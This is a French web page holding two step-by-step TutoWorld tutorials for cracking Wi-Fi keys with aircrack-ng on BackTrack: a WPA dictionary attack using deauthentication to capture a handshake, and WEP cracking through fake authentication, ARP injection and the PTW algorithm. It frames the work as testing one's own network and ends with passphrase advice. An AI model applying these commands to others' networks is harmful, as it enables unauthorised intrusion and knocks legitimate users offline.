Vous êtes sur la page 1sur 19

Choix catégorie Informatique Wifi Cracker sa clé Wpa en utilisant une attaque par

dictionnaire
Nom du tutoriel :
Cracker sa clé Wpa en utilisant une attaque par dictionnaire
Auteur :
fdiedler
Description :
Apprenez à tester la sécurité de votre réseau wifi avec la suite aircrack sous Linux
Difficulté :

Visualisations :
29170
Modifié le :
10 Octobre 2010 à 18h42
Commentaires :
7 commentaires - Ajouter un commentaire
 

Sommaire
 Introduction et pré-requis
 Activer sa carte wifi et capturer des paquets
 Capturer un HandShake afin de pouvoir lancer le dico
 Décompressez le dictionnaire de mots
 Cracker la clé Wpa en utilisant l'attaque par dictionnaire avec Aircrack-ng
 Conclusion

Introduction et pré-requis
Avant de se lancer dans la sécurité réseau :

 Il faut avoir quelques connaissances en informatique.


 Posséder un Live-CD de Linux.
 Etre patient !

Il est formellement interdit de s'introduire dans un réseau sans en avoir eu l'autorisation du


propriétaire.

Ce tutoriel a pour unique but de sensibiliser les gens au piratage. Le piratage est un fait grave.
Des peines et amendes pourraient être encourues aux petits malins qui utiliseraient ce tutoriel
à des fins malhonnêtes.

Toutefois vous avez parfaitement le droit de tester la sécurité de votre réseau et uniquement
votre réseau ! TutoWorld décline toutes responsabilités.
L'attaque par injection de paquets a pour but de stimuler la production d'IVS nécessaire au
craquage de votre clé Wep. Cette attaque est très efficace lorsqu'une station connectée génère
des ARP.

Une station connectée (et valide) est nécessaire pour tenter l'attaque.

Pour commencer, il faut posséder un Live-CD (CD Bootable) de Linux. Vous pouvez
télécharger Backtrack 2 directement ou alors connectez vous sur votre espace membre. Une
fois téléchargé, il faut graver le fichier image (iso) avec Néro ou PowerIso par exemple.

Vous devez ensuite insérer le CD dans le lecteur de manière à booter sur le CD (vous devez
peut-être changer la séquence de boot dans le BIOS).

Attendez ensuite quelques minutes et vous devriez voir cet écran de démarrage :

Login : root
Pass : toor

Une fois logué, entrer la commande startx (attention clavier qzerty donc il faut écrire stqrtx).

Une fois le bureau chargé, changer la langue en cliquant sur l'icône en bas à droite du bureau.
Ouvrez une console (icône en bas à gauche de couleur noire) et c'est parti !

Activer sa carte wifi et capturer des paquets


Activer sa carte Wifi avec Airmon-ng

Lancez airmon-ng :

airmon-ng start INTERFACE_WIFI


Pour connaitre son interface wifi, faites seulement airmon-ng.
Capturer des paquets avec Airodump-ng

Lancez airodump-ng :

airodump-ng --write Nom_Fichier_Sortie --channel Canal --encrypt Type_De_Securite


INTERFACE_WIFI

-- write : Nom du fichier cap de sortie. Obligatoire.


-- channel : Canal où se situe l'AP (entre 1 et 13). Facultatif.
-- encrypt : Filtre en fonction de la sécurité du réseau (wpa, wep, opn). Facultatif.
-- bssid : Filtre en fonction d'une adresse MAC d'un réseau. Facultatif.

L'ap visé s'appelle test_wpa.

Capturer un HandShake afin de pouvoir lancer le dico


Passons maintenant à la nouveauté par rapport à l'attaque par injection de paquets ou l'attaque
Chopchop. Avec aireplay-ng, il ne s'agit plus de faire une fake authentification mais une
désauthentification des stations connectées. Le but est d'obtenir un Handshake (il en faut un
pour pouvoir lancer le dico).

aireplay-ng -0 1 -a Bssid_Du_Reseau -c Bssid_De_La_Station INTERFACE_WIFI

-0 : Indique qu'il s'agit d'une désauthentification. Obligatoire.


1 : Nombre de désauthentification (0 pour illimité). Obligatoire.
-a : Adresse MAC du réseau (colonne BSSID). Obligatoire.
-c : Adresse MAC de la station (colonne STATION). Facultatif mais recommandé.
La présence d'une station connectée et valide est OBLIGATOIRE pour cette attaque.

Après la désauthentification, attendez un instant le temps que le client se reconnecte. Vous


devriez avoir récupéré un Handshake. Pour le vérifier, il suffit de lancer aircrack comme sur
l'image :

Une fois le Handshake récupéré, on peut passer à la suite.

Décompressez le dictionnaire de mots


Maintenant il va falloir charger le dico qui va contenir les passphrases. Télécharger le dico du
tutoriel. Mettez le sur une clé USB puis branchez la à votre PC. Backtrack détecte
automatiquement votre clé.

Cliquez sur Open in New Windows et glissez votre dico dans le bureau de Backtrack (comme
sous Windows ou alors faites copier/coller).
Maintenant on va décompresser le dico avec la commande zcat. Il faut se trouver dans le
même répertoire que le dico. Faites donc :

cd Desktop

Puis,

zcat Nom_Dico_Compressé.gz | egrep -v '^#' > Nom_Dico_Décompressé

Pour faire le signe ">", mettez le clavier en US puis faites "Shift" + ">"

Cracker la clé Wpa en utilisant l'attaque par dictionnaire


avec Aircrack-ng
Il ne nous reste plus qu'a lancer aircrack-ng. Il faut cependant revenir dans le répertoire
d'origine. Faites :
cd

Puis,

aircrack-ng -w Chemin_Du_Dico -0 *.cap

-w : Indique le path du dico lors d'une attaque Wpa. Obligatoire.


-0 : Colorie l'écran en vert à la Matrix. Facultatif.
*.cap : Charge tous les fichiers cap (pratique si vous avez oublier le nom du fichier).
Obligatoire.

Aircrack-ng se charge du reste. Je vous conseille d'aller prendre un café car le crackage peut
durer des heures comme des jours...

Lorsque Aircrack-ng a trouvé la passphrase, il vous l'indique comme dans l'image ci-dessous.
Conclusion
Au vu de ces images, on pourrait croire qu'aucune protection n'est efficace pour sécuriser un
réseau Wifi. Détrompez-vous, le Wpa est le meilleur cryptage et le plus fiable de nos jours
bien qu'il possède des failles.

Le crack d'une clé Wpa se fait par Attaque par dictionnaire , c'est-à-dire que le programme va
tester toutes les clés à partir d'un dictionnaire. Dites-vous bien qu'il est IMPOSSIBLE de
cracker une clé Wpa difficile comme : Jesuisunamateurdeprogrammation. Je vous encourage
donc à mettre une passphrase difficile (une phrase banale sans espace fera l'affaire).

Haut de page

Commentaires
Sommaire
 Introduction et pré-requis
 Activer sa carte wifi et capturer des paquets
 Fake authentification avec Aireplay-ng
 Cracker la clé Wep avec Aircrack-ng
 Conclusion

Introduction et pré-requis
Avant de se lancer dans la sécurité réseau :

 Il faut avoir quelques connaissances en informatique.


 Posséder un Live-CD de Linux.
 Etre patient !

Il est formellement interdit de s'introduire dans un réseau sans en avoir eu l'autorisation du


propriétaire.

Ce tutoriel a pour unique but de sensibiliser les gens au piratage. Le piratage est un fait grave.
Des peines et amendes pourraient être encourues aux petits malins qui utiliseraient ce tutoriel
à des fins malhonnêtes.

Toutefois vous avez parfaitement le droit de tester la sécurité de votre réseau et uniquement
votre réseau ! TutoWorld décline toutes responsabilités.

L'attaque par injection de paquets a pour but de stimuler la production d'IVS nécessaire au
craquage de votre clé Wep. Cette attaque est très efficace lorsqu'une station connectée génère
des ARP.

Une station connectée (et valide) est pré requis pour tenter l'attaque. Cependant l'attaque sans
station est possible mais le taux de réussite est relativement faible.

Pour commencer, il faut posséder un Live-CD (CD Bootable) de Linux. Vous pouvez
télécharger Backtrack 2 directement ou alors connectez vous sur votre espace membre. Une
fois téléchargé, il faut graver le fichier image (iso) avec Néro ou PowerIso par exemple.

Vous devez ensuite insérer le CD dans le lecteur de manière à booter sur le CD (vous devez
peut-être changer la séquence de boot dans le BIOS).

Attendez ensuite quelques minutes et vous devriez voir cet écran de démarrage :

Login : root
Pass : toor

Une fois logué, entrer la commande startx (attention clavier qzerty donc il faut écrire stqrtx).
Une fois le bureau chargé, changer la langue en cliquant sur l'icône en bas à droite du bureau.

Ouvrez une console (icône en bas à gauche de couleur noire) et c'est parti !

Activer sa carte wifi et capturer des paquets


Activer sa carte Wifi avec Airmon-ng
Lancez airmon-ng :

airmon-ng start INTERFACE_WIFI


Pour connaitre son interface wifi, faites seulement airmon-ng.

Capturer des paquets avec Airodump-ng

Lancez airodump-ng :

airodump-ng --write Nom_Fichier_Sortie --channel Canal --encrypt Type_De_Securite


INTERFACE_WIFI

-- write : Nom du fichier cap de sortie. Obligatoire


-- channel : Canal où se situe l'AP (entre 1 et 13). Facultatif.
-- encrypt : Filtre en fonction de la sécurité du réseau (wpa, wep, opn). Facultatif.
-- bssid : Filtre en fonction d'une adresse MAC d'un réseau. Facultatif.

L'ap visé s'appelle test_wep.

Fake authentification avec Aireplay-ng


Passons maintenant à la fake authentification. Rien de plus simple, il suffit de lancer la
commande suivante :
aireplay-ng -1 0 -e Nom_Du_Reseau -a Bssid_Du_Reseau -h Bssid_De_La_Station
INTERFACE WIFI

-1 0 : Indique une fake authentification avec un timeout de 0ms. Obligatoire.


-e : Nom du réseau (colonne ESSID). Obligatoire.
-a : Adresse MAC du réseau (colonne BSSID). Obligatoire.
-h : Adresse MAC de la station (colonne STATION). Obligatoire.

Une fois l'association réussie, on passe à l'injection de paquets.

aireplay -3 -e Nom_Du_Reseau -b Bssid_Du_Reseau -h Bssid_De_La_Station -x


Vitesse_Injection -r Fichier_Cap_A_Utiliser INTERFACE_WIFI

-3 : Indique qu'il s'agit d'une injection de paquets. Obligatoire.


-e : Nom du réseau. Facultatif.
-b : Adresse MAC du réseau (colonne BSSID). Obligatoire.
-h : Adresse MAC de la station (colonne STATION). Obligatoire.
-x : Vitesse d'injection des packets (entre 100 et 1000). Facultatif.
-r : Fichier cap à se servir pour l'injection lors de l'attaque ChopChop par exemple. Facultatif.

Il faut attendre quelques minutes pour que les ARP augmentent ainsi que les IVS mais si vous
êtes loin de l'AP, cela peut prendre plusieurs heures.

Normalement si tout se passe bien, les ARP augmentent ainsi que les IVS.
Il faut en théorie 300 000 IVS pour cracker une clé de 64 bits, 1 000 000 pour une clé de 128
bits et 3 000 000 pour une clé de 256 bits.
Cracker la clé Wep avec Aircrack-ng
Lancez aircrack-ng :

aircrack-ng -x -0 -n Taille_Cle_Wep Nom_Du_Fichier_Cap_De_Aerodump

-x : Attaque classique pour casser la clé. Obligatoire.


-0 : Colorie l'écran en vert à la Matrix ! Facultatif.
-n : Si vous connaissez la taille de la clé wep (64, 128 ou 256). Facultatif.
-f : Fudge factor (entre 2 et 12). Facultatif.
-k : Désactive certaines attaques de Korek (entre 1 et 17). Facultatif.
*.cap : Charge tous les fichiers cap (pratique si vous avez oublier le nom du fichier).
Obligatoire.

Admirez les chiffres hexadécimaux qui défilent à la Matrix... Vous devriez voir votre clé Wep
au bout de quelques minutes si vous avez suffisamment d'IVS...
Cependant, un nouvel algorithme a vu le jour il y a quelques mois. Il s'agit de aircrack-ptw
disponible en natif seulement avec les distributions Backtrack 2.0 et Wifiway 0.6

Une mise à jour de aircrack-ng permet d'avoir ce nouvel algorithme redoutable. (voir
comment installer la mise à jour).

La syntaxe est quasi identique :

aircrack-ng -z -0 -n Taille_Cle_Wep Nom_Du_Fichier_Cap_De_Aerodump

-z : Nouvel algorithme de crackage (ptw). Obligatoire..


-0 : Colorie l'écran en vert à la Matrix ! Facultatif.
-n : Si vous connaissez la taille de la clé Wep (64, 128 ou 256). Facultatif.
-f : Fudge factor (entre 2 et 12). Facultatif.
-k : Désactive certaines attaques de Korek (entre 1 et 17). Facultatif.
*.cap : Charge tous les fichiers cap (pratique si vous avez oublier le nom du fichier).
Obligatoire.
On remplace le « x » par « z ».

Avec cet algorithme, on peut cracker une clé Wep avec seulement 40 000 IVS. La preuve en
image :

En cas d'échec, vous pouvez modifier le fudge factor (-f) entre 2 et 10.
Vous pouvez aussi désactiver un des attaques de KOREK (-k). Par défaut, aircrack utilise 17
attaques !

Et si vous le souhaitez, vous pouvez fusionner les commandes :

Si cela ne marche toujours pas,

 Le fichier de capture (.cap) est corrompu.


 Vous n'avez pas assez d'ivs.
 Le réseau a changé de nom, clé wep ou adressage.
 Vous êtes poissard !

Conclusion
La conclusion de ce tutoriel se révèle être simple... De nos jours, le cryptage Wep n'est plus
du tout sécurisé quelque soit la taille de votre clé encryptage. Il suffit avec la nouvelle attaque
Ptw d'accumuler 40 000 IVS afin de cracker une clé Wep 256 bits en une dizaine de minutes !

Le gros problème du cryptage Wep est que les paquets transités par la borne Wifi contiennent
des informations sur la clé Wep. Il suffit alors de les sniffer afin de déchiffrer la clé Wep (c'est
d'ailleurs le rôle d'Airmon-ng).

Pour conclure, oubliez vite ce type de cryptage et adoptez immédiatement un cryptage avec
une clé Wpa qui ne peut se cracker que par Brute Force.

Je vous invite à voir le tutoriel qui montre que malgré tout le Wpa à ses limites...

Haut de page

Vous aimerez peut-être aussi